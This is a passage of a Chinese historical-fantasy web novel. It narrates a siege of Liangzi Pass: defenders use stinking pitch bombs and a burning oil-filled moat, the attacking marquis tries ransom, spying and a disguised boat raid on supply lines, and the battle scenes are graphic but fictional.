“他是个莽夫,你不能比他更莽。” 陆云川摇了摇头,脸上丝毫没有怒意,反而露出一抹看猴戏般的兴味。 这么热的天,裹着一身铁罐子,还抱个胳膊,该说不说,也算是个人才了。 “将金汁沥青,装上投石机。” “是!” 士卒捏着鼻子,抬着一框框密封的陶罐走上关墙,装在投石机弹巢之中。 这些沥青是用屎尿粪便与硫磺熬制而成,内置火药用来引爆,先不说其物理伤害有多大,光是这臭味儿都已叫人受不了。 还是密封起来的状态,若揭开盖子,承受力差的直接便会晕过去。 “替他们解解暑,送份凉快!” “点火!” “放!” 上百个巨大的陶罐,被高高抛向空中! 划出一道道怪异的抛物线,带着沉闷的风声,砸向列阵在关墙之下的赤甲兵军阵头顶! 陶罐飞到最高点,并没有像投石那样直接砸落,而是火药引线燃尽,凌空爆炸开来! “嘭!嘭!嘭!……” 如同无数巨大的烂柿子被踩爆! 浓稠到近乎呈固体胶状的,黑乎乎泛着奇异油光的浓稠液体,被内部高温灼烧,散发出形容的恶臭。 烈日晴空中,仿佛下了一场黑色的暴雨! 劈头盖脑地浇在赤甲兵军阵之中,尤其是那位冲在最前、抱着膀子的鲁熊。 鲁熊只觉得头顶、肩上猛地一沉,眼洞里瞬间被黑油糊满,视线全失! 金汁沥青浇在赤甲上,并没有被弹开或流走,而是如同浆糊般迅速黏附凝结! “这是……什么东西?!” 鲁熊下意识地想用手抹开眼洞里的污物。 可抬手才发现,手臂和巨斧上的黑油更是粘稠得离谱! 就连铠甲缝隙间,都被这些胶糊状的东西填塞得严严实实! 动作瞬间变得滞涩无比,他想抬脚往前走,靴底竟然黏在了地上! 其余赤甲士兵皆是如此,沉重的铁甲本身行动就不便,再被这些粘稠的“黑金汁”覆盖,步履维艰! 许多人脚下打滑,“噗通”、“咔嚓”之声不绝于耳! 你撞我、我挤你,像一群被胶水粘住的铁王八,瞬间摔成一片! “好臭啊!” “眼睛!我眼睛看不见了!快帮我擦擦!” “呕……” 城头上,守军将士们看得目瞪口呆,随即爆发出惊天动地的大笑! “这个味道,估计他们一辈子都会忘不了吧,哈哈哈……” “别说是粘在身上了,就是隔着这么远,我都快吐了!” “弓弩手准备,等铁王八出壳!” 陆云川微微抬起手,弓弩手箭在弦上,排列在墙垛之上。 身上沾了脏东西,第一反应自然是脱衣服了。 金汁本就恶臭粘稠,再加上烈日那么一烘烤,那味道臭到足以杀人! 身心上的双重打击,让步人甲完全失去了理智! “啊啊啊……” 他们惨叫发狂,纷纷摘下头盔,泄去外壳重甲。 透过铠甲缝隙侵入的毒沥青,沾染在皮肤上,瞬间红肿溃烂,疼得赤甲士卒掩面哀嚎。 “放箭!” 关墙上飞箭如雨,将步人甲军团瞬间覆盖。 此时此刻,中箭而亡的士卒,脸上反倒洋溢出了解脱。 “快!鸣金收兵!鸣金收兵!” 军阵后的陈拓,急忙振臂大喊,步人甲可都是他的家底儿啊! “当当当!” 鸣金声传遍整个战场。 “撤!列阵……后撤!” 步人甲军团哪里还顾得上什么列阵,纷纷丢盔弃甲,连滚带爬往战场后撤。 “武威候!夏日炎炎,本王替你们准备的这款‘解暑蜜汁’,可否清凉啊?哈哈哈……” 陆云川叉着腰,与众守军在关墙上哈哈大笑。 每一声笑无疑像是刺刀,深深捅在陈拓心脏上。 “陆云川,你!你……啊!” 陈拓捂着胸口,气急攻心,血气上涌,呕出一口鲜血,从马背上昏死了过去。 “侯爷!侯爷!” “快撤,快撤啊!” 十万大军,仓皇而逃。 第一百五十七章 火箭焚河! “侯爷,鲁将军他……他被那毒汁侵得太深,已经……已经不治身亡了!” 入夜。 一名小卒进北伐军营大帐中禀告。 “什么!” 卧病在榻的陈拓,猛地榻上坐起,“咳咳咳……”干咳了两声,又呛出一口鲜血。 “侯爷,保重身体啊!” 一旁穿着青色儒袍的中年儒士急忙安慰,他是侯爷府帐下参谋,黄子京。 陈拓怒锤榻边,鲁熊与他从小结伴,早已视如亲兄弟,又是步人甲军团指挥官,竟被人用金汁给泼死了。 “其他将士呢?”他又问。 “死伤了八百余人,其中大部分都是眼睛被灼伤,瞎……瞎了……” “可恨啊!” 陈拓捂着胸口,又是两声干咳。 “侯爷。” 黄子京端来一杯凉茶,“何必因一个贼王而气坏了贵体呢?不过是些下三滥的手段罢了,我部兵马仍有十万,一次小小的失利,有何惧哉?” “哦?听黄先生的口气,有破敌妙计?”陈拓拽着黄子京的手。 黄子京拍了拍陈拓手背,在帐中踱步分析: “今日交锋,虽折损了一千精锐,却也看清楚了敌人的守城手段; 步人甲军团野战实力所向披靡,但攻打关口还是太笨重,对方有远程火器优势,我方未靠近护关渠便会被消耗, 黄某认为,面对良子关上那些层出不穷的诡谲手段,唯有最原始、最野蛮的消耗方能破局; 将军不如让重甲退下来,改用轻盾轻甲快速攻打,重弩与投石机作掩护,骑兵与重甲压阵垫后。” “不用攻城车么?”陈拓疑惑道。 “用不着,也用不了。” 黄子京摆手说道:“叛军火器强大,攻城车只怕未靠近,便会被炸成碎渣; 但侯爷放心,如何兵渡护关渠,我已有妙计—— 良子关并非雄关,防御力只能说中规中矩,其护城渠,不过四五丈宽,本来便是灌溉农田所用,深不过三四尺; 我们何不想办法将河填了? 驱牛羊牲畜,身披石棉防火布,入沟渠填河,再排死士扛铁板修桥铺路; 只要能跨过沟渠,轻甲便可渡河冲至关门之下; 试问那良子关的大门,能抵御得住我十万大昭天兵军的冲锋么?显然不能!” “先生妙计啊!” 陈拓豁然开朗,下一刻却又迟疑,“这羊驴类牲畜倒是好办,可耕牛需要犁田,若将它们拿来填河……平原上的农民该怎么办?” 黄子京说道:“若能攻破良子关,生擒贼首,牺牲一些牲畜又有何妨?孰轻孰重,一目了然!” “先生所言极是!” 陈拓当即令道:“来人!速速去各农庄,收集牛羊牲畜,两日后,本侯定要一雪前耻!” …… 次日。 良子关营房大帐。 “报!” 千目堂探马来报:“王上,最近北伐军正在平原各大农庄中搜捕牛马驴骡,不知作何用途!” “哦?” 搜捕牛马? 陆云川喝了一口桌子上的“藿香正气茶”,微微眯起了眼睛。 耕牛骡马这种牲畜,是农作的重要工具,搜捕进军营做什么? 肯定不是干什么好事! “增派关口防守,再多派探子,沿途监视敌营动向,一旦有变,火流星为号。” “是!” …… 两日后,夜。 夏日晚晴,繁星璀璨。 北伐军营静悄悄。 “侯爷,夜深人静,正是绝妙的偷袭时机。” 营门前,轻甲刀兵整齐列阵在前,重甲骑兵紧列其后。 夜是最好的伪装,牛马牲畜也有不错的机动性,从营帐出发,可快速突袭。 “放牛!” 陈拓的嗓子沙得像破锣,“给老子用牛填平那条河沟子!” “轰隆隆……” 营门大开。 一大群被骑兵死命抽打驱赶的牛马牲畜冲了出来。 牲口眼睛通红,鼻子喷着白气,显然是灌了药或者被折磨。 不少牛犄角上居然被绑了尖木刺和磨利的铁片。 鞭子抽得啪啪带血花,长枪狠扎牛屁股,硬生生把这群发狂的畜生,撵成一股疯牛组成的黑色泥石流,朝良子关狂奔而去! 此时此刻,牛马命,不是命! 在军营与关口之间的凉军探子,一眼便发现了冲锋的牛群。 “快,放火流星!” “嗖!” 一支穿云箭刺破夜空,划出一道美丽赤色弧线。 守军看到信号,急忙敲响警钟: “敌军夜袭!!!” “当当当……” 守军迅速反应,燃起火把,缔结防御,陆云川走上关墙。 “轰轰轰……” 牛马群扬尘而来。 “这……是干嘛?”胡大勇扣了脑壳。 “还记得我们攻陷黑云寨时用的火牛阵么?” 陆云川一眼便识破轨迹,利用牲畜进行冲锋攻关,在战场上屡见不鲜。 遥想当初凉州城防御战,兀良阙也曾用过铁甲水牛过河。 哼……原来搜捕耕牛是这个用途! “弓弩齐射!” 点燃的火箭,结成火网,扑向牲畜群。 然而牲畜身上披着厚实的石棉,火箭根本无法引燃,除了重弩外,细箭只能刺破血肉。 牲畜群更加疯狂! “将火油与鱼油搬出去倒入沟渠中,快!” “搬油!快!” 垛口后的守军即刻行动,两人一桶,将半人高的火油桶滚出大门来到沟渠边。 “倒油!” “哗啦啦啦——” 一桶桶散发着刺鼻腥味、黢黑油腻腻的液往沟渠中猛灌。 油脂混进河水里,漂在河面上,渗进河滩泥地里。 倒完油后,守军迅速回撤关门。 呼啸之间,牲畜群已冲至护关渠边,狂牛群收不住蹄,闷头就扎进了油乎乎的沟渠中。 “噗通!噗通!噗通!” 河底淤泥本来就滑,再浇上这层厚厚的油,滑上加滑! 那些个大黑牛蹄子一蹬,“哞!”一声惊叫,整个侧摔,水花泥巴飞溅。 后面牛群停止不及,一头一头猛撞了上去。 踩踏,挤压,咔嚓咔嚓骨断筋折,惨嚎震天! 短短十息时间不到,整条沟渠变成了一个翻滚着牲畜,泥水,和油汁的死亡大泥潭! “就是现在!” “火箭,焚河!” 裹着厚厚一层油麻布的火箭,齐刷刷被火把点燃, 几百张弓同时拉开! “放!” 火箭如雨,倾泻而下。 第一百五十八章 血肉磨坊! 燃烧的箭头稳稳落在河中心那最混乱、油气最浓的地方。 惊天动地的巨响,像把天捅了个窟窿。 接触点的泥浆瞬间炸开一个巨大的火坑。 金红色的火焰,带着无与伦比的恐怖力量,像是被彻底激怒的火龙, 它根本不用蔓延,而是“轰”一下爆开, 火龙沿着漂浮在水面的油层、混着油的淤泥、被油浸透的牛毛,呼啸奔腾! 整个河面,河滩,甚至空气,都被引燃,火势疯狂暴涨! 烈焰冲天而起,瞬间便将挣扎的牲畜们整个吞没。 火舌舔舐着一切,河水剧烈沸腾汽化,发出刺耳的尖叫,淤泥滋滋冒烟燃烧。 可怜的牲畜群,连哀嚎都显得微弱,金红火海里翻滚、烧焦! 几息,仅仅几息。 整条沟渠,加上岸边大片河滩,乃至于道旁的草丛,变成了一面剧烈燃烧、翻滚着数丈之高的火焰巨幕! 热浪排山倒海般拍向岸边,那些驱赶牲畜的昭军汗毛都被燎燃,惨叫着连连后退,眼前地狱烈火般的场景,让他们腿肚子都在抽筋。 一刻钟后。 护城河焚天的烈焰终于熄灭。 只余下满目焦黑与刺鼻的焦臭。 宽阔的河床被烧得龟裂,河水几乎蒸干,露出底下黑黢黢,冒着缕缕青烟的淤泥。 最触目惊心的是那层层叠叠,堆积如山的焦黑牲畜尸体,它们扭曲变形,皮肉炭化,焦臭味儿令人作呕。 万物有灵,战场无情! 陆云川叹了口气,随即令道:“补充火器与消耗,今夜的战斗才刚刚打响!” …… 另一边。 “报!” 探马冲回昭军大营。 “良子关火油灌河,三百头牲畜……尽焦化于沟渠之中!” 在大营高台上,陈拓眼睁睁看着自己冒着谩骂搜捕而来的牲畜,脸上的肌肉直抽抽。 攥着栏杆的手指捏得发白,血涌上脑门,眼前阵阵发黑。 “可恨啊!” 他怒吼咆哮,身体踉跄。 “侯爷勿急躁!” 黄子京赶忙扶住陈拓,“这计划本来就是让这些牲畜去填河,眼下目的已经达到,应当集结兵群火速夺关!” “黄先生所言极是!” 陈拓拔出佩剑,剑锋直指良子关城楼,声音嘶哑:“传令进军!今夜,不破此关,誓不罢还!” “呜呜——” 苍凉的号角声撕裂了短暂的死寂。 列阵待命的轻甲部队闻令而动,大军急行奔赴良子关。 “兄弟们,破关先登者,拜将封侯!” “踏尸过河,构架浮桥!” “冲啊!” 轻甲步兵扛着铁板、草束、绳索,眼神决绝又疯狂,咬牙冲进那条被焦黑尸骸填满的沟渠。 “噗嗤!咔嚓!” 脚踩在焦脆的骨头和半凝固的脂肪上,令人牙酸的声响不绝于耳。 有人踩空陷落,被同伴踩过,有人被尖锐的断骨刺穿脚掌,惨嚎着倒下,成为新的垫脚石! “阻止敌军过河!” 守军迅速回应,飞箭,火油,炸药,沥青,一股脑往下扔! 昭军硬是用身体与铁板,在几处关键河段强行搭起数条通往滩涂的血肉之桥! “桥梁已架好,步人甲,进攻!” 早已蓄势待发的昭军赤甲军团轰然出动! “咚!咚!咚!” 沉重的步伐踏得大地微颤! 前排重甲步兵扛举着巨大塔盾,结成铜墙铁壁,掩护着身后如林的云梯与攻城巨锤! 赤甲踏浮桥,如同钢铁洪流,狠狠撞上良子关下的滩头! 真正的血腥攻关,瞬间爆发! “滚木!雷石!沸油!给老子狠狠招呼!” 胡大勇的声音在城头炸响,各类火器与传统武器,更高频率往关墙下扔! 磨盘大的礌石、裹满尖刺的滚木再次呼啸而下,如同巨神的愤怒重锤,狠狠砸进密集的重甲方阵! 即使有盾牌阻挡,巨大的冲击力依旧震得持盾者双臂欲裂,阵型出现缺口,滚木砸入,立刻血肉横飞! 同时,滚烫刺鼻的沥青,烧沸的桐油,暴雨般泼向靠近关墙的昭军士兵! “啊啊啊——” 惨嚎声直冲云霄! 重甲难防滚烫液体重皮肉焦糊的气味混着沥青恶臭弥漫开来,墙下顿成炼狱! 但昭军也非等闲,后方阵中,早已准备好的投石机与重弩! “呼!轰!” 数块磨盘大小的巨石,在混上火油后,狠狠砸在城墙上! 砖石飞溅,一段女墙直接被轰塌半边,巨大的震动让守军也站立不稳! “嗖!嗖!嗖!……” 臂粗一般的重箭矢撕裂空气,狠狠钉在城楼木柱上,霎时间,木屑纷飞! 就连掠过的劲风也刮得人脸颊生疼! 双方远程对轰,近程血肉研磨! “叉竿!顶云梯!” 守军士兵操起三丈长的包铁叉竿,吼叫着合力顶住靠上城头的云梯!下方几十名重甲昭军士兵同时发力推拽,双方在城墙上空展开拔河般的殊死角力! “一二!顶住!” “嘿啊!嘿啊!” 叉竿发力点更优! “嘎吱”一声巨响,一架沉重的云梯被猛地推开,梯上攀爬的十余名士兵惨叫着摔落,砸在下方的人群中,骨断筋折! 然后云梯已经成功架设!步人甲口衔钢刀,顶着上方落下的石块、滚水,沿着摇晃的梯身向上猛攀! “快!猛火油柜!” 五台火油柜被推上墙垛。 “喷!” 喷射的火油烧成火龙,席卷墙上一切,赤甲军瞬间被火焰吞噬! 烧死跌落,一起接着一批! 但一个倒下,另一个补上,前仆后继,悍不畏死! 敢打冲锋的排头兵,没有一个是孬种! 在血肉磨房运作了半个时辰后,步人甲率先跃上垛口! “杀啊!” “呯呯嘭嘭……” 刀光剑影,金铁交鸣。 最惨烈的白刃血战就此拉开。 双方士兵在狭窄的城垛口疯狂劈砍、突,!鲜血飚溅,染红战甲,尸体不断从城头或云梯上滚落! 城下,巨大的攻城槌也在盾墙的严密保护下,被数十名强壮士兵推着,一次次狠狠撞向包铁的厚重关门! “咚!咚!!咚!!!” 沉闷巨响如同攻城的心跳,每一声都震得关门微微颤栗,铁皮门在撞击下凹陷撕裂! 一时间,城上城下,杀声震天! 箭矢如蝗,巨石轰鸣,火油飞溅,炸药撼天血雨纷飞! 攻势如狂潮,防守如磐石! 每一寸城垛都在争夺,每一条生命都在燃烧! 良子关,这座不算雄伟的关卡,在血腥与烈焰的洗礼中,已经变成了吞噬生命的人间炼狱。 “陆头儿……” 周大彪咽了咽口水,“对面的人海战术,有点打疯了,你……还是往镇子上撤一撤吧……” 第一百五十九章 天降横财 陆云川微微皱眉,血战进行到这个地步,谁先泄气,谁就会功亏一篑,哪怕伤亡再惨重,也要硬着头皮直上。 “本王,与众将士同在!” 关键时刻,岂能临阵脱逃?若连国王都逃了,士气如何再续? 陆云川果断提起一把刀,冲向昭军破开的关墙缺口,加入血肉战场! 友军们见凉王亲自提刀下场,士气大振! “杀!杀!杀!” 杀声震天! 所有人都将自己当成了一台不知痛苦的杀戮机器,热血染红铠甲,汗水浸湿了衣衫,连刀都砍钝了! 渐渐,夜尽天明。 朝阳唯一一次没有红过的地方,那便是眼前的良子关战场。 “撤!撤……” 交战一整夜的昭军,终于还是选择了撤退。 “我们胜利了!” 在昭军撤退的那一刻,守军所有的疲倦一扫而空,举刀欢呼。 陆云川将染血战刀往墙垛上一插,望着溃退的昭军,心里明白,今夜这场防御战的胜利,并没有大到让敌军全面溃败的程度。 昭军一定还会再来,战争也还将继续,但至少可以喘口气了。 “传令下去,打扫战场,修缮关墙,补充弹药,继续防守!” …… 此次攻城失败。 昭军损失惨重,步人甲几乎伤亡殆尽,至少填了两三万人在良子关。 陈拓连日拔营,后退了三十里。 兵卒损失可以再调,装备损失可以再调,可士气一旦低落,想要再战便难上加难。 此刻,昭军大营,帅帐内气氛压抑如铅。 陈拓斜倚在榻上,面如金纸,胸前染血的绷带分外刺眼。 昨夜不顾代价的强攻,折损的不只是上万精兵,更是他自己积年的威名和老本! 帐下诸将个个噤若寒蝉,大气不敢出。 “咳……咳咳…” 陈拓捂着胸口一阵剧咳,嘴角又溢出血丝,连说话都有气无力,感慨道:“敢自立为王者,果然不是寻常人,凉王……我不能胜了,不能……不能胜了……” 咳咳咳! 再度咳血,痛苦万分。 “侯爷保重贵体啊!” 黄子京赶忙出声安慰,“胜败乃兵家常事,何况本次攻城,守军也损失不小; 他们人数本就不如侯爷的多,我军虽失利了一次,但人数规模仍在; 既然强攻怕不成,不如……” 他略一停顿,眼中精光微闪,仿佛早已胸有成竹:“不如,以退为进,攻心为上。” “如何攻心为上啊……咳咳,对面获得胜利,只怕士气大胜啊……”陈拓问道。 “侯爷放心,我自有妙计智谋。” 黄子京眼中闪过一丝阴险。 …… 翌日,晨曦微露。 昭军大营辕门大开,数名不披甲胄、仅身着文官服饰的使者走出,为首一人手持白布卷轴,在一小队亲卫的保护下,缓步走向良子关。 关墙上,守军精神瞬间紧绷,周大彪按刀大喝:“格老子,干什么的!再近一步,乱箭穿心!” 昭军使者不卑不亢,在弩箭射程边缘停步,拱手朗声道: “凉州王在上!大昭武威候侯府幕僚官徐谦,奉侯府军师黄子京先生之命,特来求见大王!只为苍生请命而来,万祈大王容禀!” “耍什么花招儿?” 周大彪挠了挠头,不过看对方都是一身素衣,连亲兵护卫都没有穿戴甲胄,一时间也拿不定主意,派遣传令兵去请陆云川。 片刻后,陆云川负手走上关墙。 “苍生请命?” 他目光如鹰隼般打量着下方来人,带着几分玩味,这么高端的话题么? 使者徐谦见凉王露面,展开手中卷轴,声音恳切而洪亮: “良子关下,尸积如山,曝野经日! 天日渐暖,尸骸腐坏,恐生大疫! 疫疠横行,流毒千里,非惟将士受苦,亦祸延两国边境无辜百姓! 此乃天地所不容,人神所共愤!” 他言辞悲悯,句句占据道德高地: “侯府敬大王仁义英豪,故斗胆恳请:请大王恩准我昭军派遣未披甲之收敛队伍入贵方阵地, 收敛我昭军阵亡袍泽之骨殖,使其得归故土安葬,魂有所依! 更可清理战场,断绝疫源,保一方安宁!” 使者深吸一口气,图穷匕见: “若大王应允此‘仁义’之举,我昭南侯府愿奉上白银三万两,铜钱五万贯以为酬谢! 只求收敛骸骨,绝无他意! 侯府上下及十万将士,必感念大王仁德! 若大王不允…” 使者语带暗示,“恐寒天下义士之心,更有损大王清誉!” 好一张口灿莲花的嘴!好一个裹挟“苍生”“仁义”的局! 陆云川内心冷笑,大概是听出来了,武攻不行,就来文的呗? 幕僚……呵呵,看来侯府帐下,有智谋人士啊。 城头守军闻言,不少面露犹豫,议论纷纷。 “王上,兴许有诈!” 周大彪小声提醒。 你看,连周大彪这莽人都听出来有诈了。 不过,昨夜那几万具尸体一直堆着不是办法,挖坑埋了都得费力气, 战死沙场者,哪怕是敌军,魂归故土,也是一种仁德…… 最重要的是,还给这么多银子…… 陆云川微微抬手,示意周大彪不用言,突然展颜一笑。 笑声清越爽朗,穿透清晨的薄雾。 “哈哈哈……好!好一个‘苍生请命’!本王应允了! 不过,数万将士的遗骸,先前我军收敛,已耗费了太多精力,你想要将它们带走,” 他眼底的光芒却越发锐利,冲墙下使者大声再吐了三个字: “得加钱!” 徐谦脸皮子使劲儿抽搐了两下,这菜市场卖买猪肉呢?还讨价还价? “大王……要加多少?” “白银十万两,铜钱二十万贯!一个子儿,都不能少!” 陆云川大声道。 “这……” 徐谦咬了咬牙,哪有这样狮子大开口的? “若不同意,就请回吧,本王还没吃早饭呢……” 陆云川轻哼了声,甩袖便打算下城楼。 “大王且慢!” 徐谦伸手喊住陆云川,“同……同意了!一个子儿也不少!” 陆云川舔了舔嘴唇。 瞧瞧,这不是天降横财么? 第一百六十章 陈侯爷真乃善财童子 “本王不仅允尔等收敛昭军尸体,” 陆云川指向关外一处开阔的缓坡,“瞧见没?关东三里,名为‘归义坡’! 不仅你们昭军儿郎,连你们那冲上来填河的牲畜尸首,本王也替你们收敛干净堆在那儿, 地方都给你们划好,省得你们再踩进那些‘宝贝疙瘩’堆里脏了脚!” 使者徐谦一愣,没想到陆云川答应得如此爽快,更主动说出了地点:“大王英明,如此……” “慢!” 陆云川抬手打断,语气带着不容置疑的铁律: “地方告诉你们了,规矩也得给本王守住—— 第一,收敛队伍,不得过百人; 第二,全部不得披甲; 第三,不准带弓弩刀枪,只准带扁担竹筐裹尸布,防身顶多带把短匕; “第四,最重要!” 陆云川眼神锐利如刀,盯着徐谦,“活动范围仅限于‘归义坡’, 胆敢踏出一步,踏进哪只脚,本王就砍掉哪只脚,听明白了?” “大王明令,昭军无有不从!” 徐谦心头一凛,连忙应下,“那三日后正午,我携收敛队来到!” 言毕,领人离去。 关墙之上。 “陈世钊。” “末将在!” “三日后,你带五百精兵去盯着那些收尸队,看看他们究竟耍什么花招儿。” “末将遵命!” …… 徐谦回到昭军营帐。 “黄先生,果然如您所料,姓陆的中计了……” 徐谦将方才所发生的事,一一向黄子京陈述, 黄子京听完,得意大笑,“归义坡能靠近关墙三里,足以洞察到良子关的纰漏; 徐谦,三日后,你在收尸队中安插几个测绘高手,将良子关的布防摸清楚,带回来我有大用。” “是……只是,” 徐谦顿了顿,“那姓陆的狮子大开口,将赎金加高了将近四倍……” “哎,只要能破关,花点钱算什么?区区几十万两银子,秋收时多加一成赋税,不就回来了。” 黄子京摆了摆手,又道:“再说了,这笔钱又不用我们掏腰包,算在军费中找朝廷度支即可。” “黄先生说得极是。” “对了,你向侯爷上报金额时,记得再多加两成。” 黄子京眼角余光轻瞥,语气意味深长。 徐谦愣了片刻,当即明白了其中之意,露出贪婪奸诈的神情。 …… 三日后,清早辰时。 归义坡下。 凉州方面早已按照命令,将双方阵亡将士的尸体简单分开堆放于此,以白布覆盖,虽显仓促,但也算有了些体面。 炎炎夏日,尸体早已腐烂不堪,那气味儿简直无法形容。 昭军收敛队约莫八十余人,白衣素服,果然扛着扁担竹筐,匆匆而来。 陈世钊领五百凉州精兵,玄甲森然,刀弓在手,在坡下结成一道半圆形的铁壁,隔绝了通往关墙方向的所有路径。 “停!” 在坡下,陈世钊喊停收尸队。 “我们王上有交代,先收钱,后交货。” “理应如此。” 徐谦招了招手,几名昭军推来三辆马车,一箱满满当当的金子,其余全是铜钱。 陈世钊仔细检查了一番,确认不假,才分出一个小队,将金钱接手。 而后又对分连队的板车,竹筐一一盘查,确定没有带利器,予以放行。 收尸队上坡开始收敛,气氛压抑而肃穆。 然而,混在人群里的几双“眼睛”,却按捺不住地开始瞟向三里外那座巍峨的关隘。 “徐参谋,你看关墙西侧中段……那上面坍塌了好大一片,修补用的都是新土坯和烂木板,看着就不扎实!” “啧啧,垛口密集,但东角楼附近的箭孔,似乎被堵死了一半?难道是被前日的投石砸坏了?” “哼,纸做的老虎,良子关也已是强弩之末。” 一边收尸,一边偷看。 然而,坡下的陈世钊骑在马上,如鹰隼般的目光死死锁住那群人。 他陈世钊是何人? 掘子军的首脑,盗墓贼出身,凉州打洞第一人。 这些测绘师撅起屁股放个屁,他都能闻出昨夜吃过什么。 目光往关墙上瞟,不明显是为了探查布防图么? 哼,雕虫小技…… 傍晚时分。 收尸队带着沉重的神情,挑着一筐筐残肢断臂返回了昭君大营。 黄子京亲自迎出营帐。 “黄先生!成了!成了!” 徐谦难掩兴奋,奉上了一封布防图, “经过我们一日的观察,关西墙段破损严重修补仓促,东角楼箭孔疑似被毁大半……凉贼外强中干!” 他压低了声音,语速极快地汇报着观察成果。 黄子京接过布防图,扫了一眼,捻着长须,脸上浮现一丝预料之中的微笑,“哼,只想着吃下银钱、守住规矩,却不知目光所见,未必为实……凉王小儿,也不过如此——” 他即刻发令: “去,挑三十名机灵点的死士,今夜从关西墙段,偷渡良子关,先安插一批内应进关内,以便后续内部瓦解凉军。” “黄先生,果真运筹帷幄,智谋超绝呀!” 是么? 与此同时,良子关内,帅帐之中。 十万两白花花的银锭和成箱的铜钱堆满了小半个厅堂。 陆云川随手拈起一块银锭掂了掂,对着陈世钊笑道:“听听这脆响,陈侯爷真乃善财童子啊,这些钱,正好充作军资,犒赏阵亡将士遗属!” “王上英明!” 陈世钊躬身,将今日收尸队,故意偷看关内的鬼祟,全全禀报给了陆云川,后道: “那关墙西段,连接着山坡,地势非常复杂,若有不要命的死士临崖偷渡,说不定真让他们翘进关内……” 陆云川听完,哈哈大笑,“呵……小小拙计,不足为虑。” 他当即下令:“去,加派人手,暗中潜伏于关墙西段,今夜若有人偷渡,抓活的,我有大用。 “末将遵命!” 陈世钊领命退出大帐。 夜。 渐渐深沉。 关墙西段所连接的山坡上。 三十名身穿素衣,肩抗绳索的昭君死士,摸索着爬上坡顶。 “从这边崖口下去,临崖绕行三十丈,便可摸到那关墙缺口……” “兄弟们,升官发财,就看这一趟了,下!” 死士在崖口拴紧绳子,口含利刃,一个接着一个,从那三十四丈的刀削峭壁向下飞降! 第一百六十一章 白衣渡河 三十名昭君死士,全部从崖口降落关墙西段。 因为还在修补,墙体下全是碎石,突出部有着力点,身手敏捷之人可以攀爬。 死士们等巡逻岗哨一过,便勒紧裤腰带,开始一个接着一个往上爬。 不消片刻,派头的人便已翻过关墙。 “快,搞快点!” 他压低声音从墙下其余死士低吼。 很快,三十名死士全部翻过关墙。 “往草丛里躲!” 众死士便要往丛林里躲。 忽然! 关墙下亮起火光。 箭楼之上,废墟之下,上百只火把齐刷刷举起,陈世钊领着五百精兵,迅速向死士合围。 “呵……令家军师的雕虫小技,早已被我家王上看穿!” “放下武器,投降不杀!” “兄弟们,杀出重围,留一个人便是胜利!” 死士不愧是死士,视死如归。 可三十人面对五百精兵。 硬拼? 螳臂当车,不自量力! “抓住那个头目!要小心他们自杀!” 精兵蜂拥而上,一波围剿下来,死士已死伤过半。 另一半则被轻松俘虏。 精兵用绳索将其捆绑,怕他们咬舌自尽,还专门脱臼了他们的下巴。 “押回去,严刑拷打!看看他们的骨头能有多硬!” …… 半个时辰后。 陈世钊来到帅帐。 “王上,该问的都已问出来了。” 便如实禀报: 原来黄子京先以收尸为目的,故意获取关墙缺口,后派死士想潜入关内,主要是想探查凉州粮道。 “嗯……正面攻不破,便深入敌后,是个常规计谋。” 陆云川抿了抿嘴唇,“对了,那黄子京是何许人也?” 陈世钊说道:“据死士所言,黄子京乃武威候府中的首席参谋,更是号称‘利州第一毒士’,先前的牛尸填河,便是出自于他手。” “确实有够毒的,耕牛是老百姓劳作之物,都能拿来填河……” 陆云川望着跳动的烛火,突然眼睛一亮,妙计涌上心头: “敌军派遣死士想探查我军粮道,我们何不将计就计,给他来个瓮中捉鳖?” …… 三日后。 徐谦手持一封书信,欣喜入帅帐。 “侯爷,黄军师,终于有消息传回来了!” 黄子京赶忙接过,快速扫了一眼,大喜:“原来凉州军一直都在利用黑河水道运送粮草,哈哈哈……” 陈拓却担忧道:“字京啊,凉王诡计多端,我们已吃了他好多次亏了,这信真伪当仔细辨别。” “侯爷放心。” 黄子京自信道:“情报真假,一探便知。” 他扭头冲徐谦道:“良子关封锁的只是陆路,而黑河水道关系到凉州与利州两地名声,即便凉军有设水关,也肯定不能严谨; 这样,徐参谋,你派两名小卒,扮作渔夫,泛一只轻舟,以打渔为由,深入水域去探查一番,真伪自现。” “属下这便去安排!” …… 两个时辰后。 “侯爷,黄军师,探子回来了!” 徐谦领着两名身披蓑衣,头戴斗笠的渔夫装扮的士卒走进大帐。 “速速禀报,任何细节都不得放过!”黄子京说道。 探子便说: “回禀侯爷,军师,我们泛舟逆水而上,在出峡口时,便遇到了凉州设下的水关,大概有两艘战船拦河; 寻常渔民,只盘问了两句,便放行通过了; 若遇到客船或者商船,便会被拦下来,凉州水兵会登船,对船舱与商旅进行严密盘查; 除农具外的任何利器,哪怕是一把菜刀,都会被没收; 我们借口打渔,去到一个叫做‘凌风渡口’处,再往渡口上靠,战船便会来驱逐,说这个渡口已被军事征用,任何民船都不得停靠; 我们只能在河对岸观察,发现每日都有四五艘货船,来来往往,卸货也十分繁忙,多半就是在运送粮草辎重了。” “好!” 黄子京大喜,“你二人探报有功,下去领赏!” “谢军师,谢侯爷!” 两名探子退出大帐。 “可是子京啊……”陈拓担忧道:“方才探子说,峡口设有战船水关拦路,还筛查得如此严密,我们如何能偷袭对方粮船?” “哎,侯爷不比担心。” 黄子京自信摆手,“挑一百五十名长相白皙,年龄适中,水性好的中年士卒,扮作白衣客商,带一些无关紧要的货物,乘商船沿河往上; 将火油与弓箭、兵器,以防水油布严密包裹,暗置于船底之下,就算敌军搜得再仔细,也不会去船底; 船最怕便是火攻,一炬焚毁凌风渡口,凉军粮草化为齑粉。” “听子京一言,本侯心中淤积的闷气,瞬间荡然无存啊,哈哈哈……” “徐参谋,这次由你亲自去把关,若能烧了凉军粮草,此战获胜,你记头功!” “黄军师言重了,头功自然是侯爷,再者便是军师您,我得排在您们之后了。” 徐谦拍了拍胸脯,自信保证:“侯爷,军师放心,明日且在帐中听好消息即可!” …… 当日下午。 徐谦便依计扮作白衣商客,乘船逆水而上向凉州进发。 待穿过巴山峡道后,刚出峡口,果然遇到了两艘战船拦河盘查。 “站住,干什么的!” 两艘战船的水师将领,分别是高仓高隆两兄弟,曾经在鬼门津干掉王天魁,乃水师核心骨干。 “二位军爷,我们是利州来的客商,准备到凉州做些买卖!” 徐谦从容回答,并配合停下货船,让水兵上船检查。 战船放下几只轻舟,十几名水兵登船,对每个商客,船舱里里外外都搜寻了一遍。 “高统领,都是些普通的布匹,茶叶,作物,未发现利器!” 水兵返航汇报。 高仓摆了摆手,冲徐谦提醒了句:“过了峡口,往前三十里,都莫要作停留,特别是凌风渡口,懂了吗?” 